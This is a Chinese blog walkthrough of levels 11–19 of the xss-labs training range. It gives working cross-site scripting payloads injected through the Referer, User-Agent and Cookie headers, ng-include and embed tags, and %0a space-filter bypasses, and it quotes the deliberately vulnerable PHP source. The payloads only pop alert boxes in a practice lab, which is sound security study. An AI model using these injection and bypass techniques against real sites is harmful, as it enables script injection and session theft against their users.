xss挑战之旅11-19关


前言

靶场:XSS挑战之旅
1-10关
11-20关


第11关:referer
  1. 查看网页源代码
    在这里插入图片描述

  2. 抓包
    在这里插入图片描述

  3. 修改,放包

    Referer: 111" onclick="alert(1)" type="text
    

    在这里插入图片描述

  4. 浏览器效果
    在这里插入图片描述

  5. 下一关
    在这里插入图片描述

  6. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = $_GET["keyword"];
    	$str00 = $_GET["t_sort"];
    	$str11=$_SERVER['HTTP_REFERER'];  //可传入的参数,可能需要抓包才能修改
    	$str22=str_replace(">","",$str11);
    	$str33=str_replace("<","",$str22);
    	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    	<form id=search>
    	<input name="t_link"  value="'.'" type="hidden">
    	<input name="t_history"  value="'.'" type="hidden">
    	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">  
    	<input name="t_ref"  value="'.$str33.'" type="hidden">  //注入点
    	</form>
    	</center>';
    ?>
    
第12关:User-Agent
  1. 看源码,跟user-agent有关
    在这里插入图片描述

  2. 抓包修改

    User-Agent: 111" onclick="alert(1)" type="
    

    在这里插入图片描述

  3. 查看网页源代码,点击输入框即可通关
    在这里插入图片描述

  4. 源码

    <?php 
    	......
    	$str11=$_SERVER['HTTP_USER_AGENT']; //注入点
    	$str22=str_replace(">","",$str11);
    	$str33=str_replace("<","",$str22);
    	......
    	<input name="t_ua"  value="'.$str33.'" type="hidden">  //能浏览器加载的地方
    	......
    ?>
    
第13关:cookie
  1. 看网页源代码,跟cookie有关
    在这里插入图片描述

  2. 浏览器新建cookie(或者抓包修改也可以)

    user: 111" onclick="alert(1)" type="
    

    在这里插入图片描述

  3. 刷新加载
    在这里插入图片描述

  4. 源码

    <?php 
    	setcookie("user", "call me maybe?", time()+3600);
    	......
    	$str11=$_COOKIE["user"]; //注入点
    	......
    	<input name="t_cook"  value="'.$str33.'" type="hidden">
    	......
    ?>
    
第14关:exif xss
  1. emmm,这关需要自己找环境复现。
    在这里插入图片描述

  2. exif xss介绍

    exif

    可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。

    exif xss 原理

    因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发恶意代码。

  3. 制作恶意图片
    截图不行,无法写入
    在这里插入图片描述
    这张图片时手机拍的,可以写入
    在这里插入图片描述

  4. 可以读取exif信息的网址

    https://www.sojson.com/image/exif.html
    

    在这里插入图片描述

    https://exifdata.com/
    

    在这里插入图片描述

第15关:ng-include
  1. ng-include函数

    可以在html文件中包含外部的html文件

    特别注意:

    ng-include,如果单纯指定地址,必须要加引号'
    ng-include,加载外部html,script标签中的内容不执行
    ng-include,加载外部html,含有style标签样式可以识别

  2. 改变参数,观测效果
    在这里插入图片描述

  3. 文件包含进来了,使用',看特别注意1
    在这里插入图片描述
    在这里插入图片描述

  4. 为什么包含php文件也可以?

    应该是把php文件执行后生成的html文件包含进来的。

  5. 加入参数进行测试,有回显
    在这里插入图片描述

  6. 传入<script>alert(1)</script>进行测试,但是不执行,看特别注意2

    ?src='level1.php?name=<script>alert(1)</script>'
    

    在这里插入图片描述

  7. 传入<img src=1 onerror=alert(1)>进行测试,看特别注意3,进入下一关

    ?src='level1.php?name=<img src=1 onerror=alert(1)>'
    

    在这里插入图片描述

  8. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = $_GET["src"];
    	echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    ?>
    
第16关
  1. 源码

    <?php 
    	ini_set("display_errors", 0);
    	$str = strtolower($_GET["keyword"]);  //小写,注入点
    	$str2=str_replace("script","&nbsp;",$str);  //将script替换为&nbsp;  不使用script即可
    	$str3=str_replace(" ","&nbsp;",$str2);  //将空格替换为&nbsp;   用%0a代替
    	$str4=str_replace("/","&nbsp;",$str3);  //将/替换为&nbsp;   可以用单标签进行绕过
    	$str5=str_replace("	","&nbsp;",$str4);  //将空格替换为&nbsp;
    	echo "<center>".$str5."</center>";  //浏览器加载注入代码
    ?>
    
  2. 测试,观测浏览器加载效果和网页源代码
    在这里插入图片描述

  3. payload

    <img src=1 onerror=alert(1)>
    <img src=1 onclick=alert(1)>
    ----------------------------------
    用%0a替换空格
    <img%0asrc=1%0aonerror=alert(1)>
    <img%0asrc=1%0aonclick=alert(1)>
    
  4. onerror事件

    onerror 事件在加载外部文件(文档或图像)发生错误时触发。
    在img 这个标签无法正常执行的时候触发,所以这里的src 我们随便填一个不存在的地址,就可以触发后面的弹窗了。

  5. 下一关
    在这里插入图片描述

第17关
  1. 源码

    <body>
    	<h1 align=center>欢迎来到level17</h1>
    		<?php
    		ini_set("display_errors", 0);
    		echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    		?>
    	<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
    </body>
    
  2. 测试
    在这里插入图片描述

  3. <embed>标签

    引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可以利用。

  4. 传入<script>alert(1)</script>进行测试
    在这里插入图片描述

  5. 传入onclick=alert(1)进行测试
    在这里插入图片描述

  6. 进行测试
    在这里插入图片描述

  7. onclick=alert(1)不行,用onmouseover=alert(1)
    在这里插入图片描述

  8. 下一关
    在这里插入图片描述

第18关
  1. 同17关,虽然不支持插件,但是不影响
    在这里插入图片描述
第19关:flash xss
  1. 供参考已复现成功的文章
    XSS-labs Level 19 Flash XSS
    XSS之xss-labs-level19

  2. 本人的尝试失败,以下经验仅供参考

  3. flash xss 原理

    flash有可以调用js的函数,也就是可以和js进行通信。使用flash的这些函数时,如果传入恶意XSS代码,并调用js进行解析,此时会触发XSS攻击。因此这些函数如果使用不当也是会造成xss的。
    常见的可触发xss的危险函数有:getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。

  4. 测试
    在这里插入图片描述

  5. 不能用"在这里插入图片描述

  6. 直接参考别人的payload在这里插入图片描述

  7. 用IE浏览器打开,自动跳转成Microsoft edge,修改设置
    在这里插入图片描述

  8. IE浏览器访问,但是浏览器自动禁止了XSS
    在这里插入图片描述

  9. 没了

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值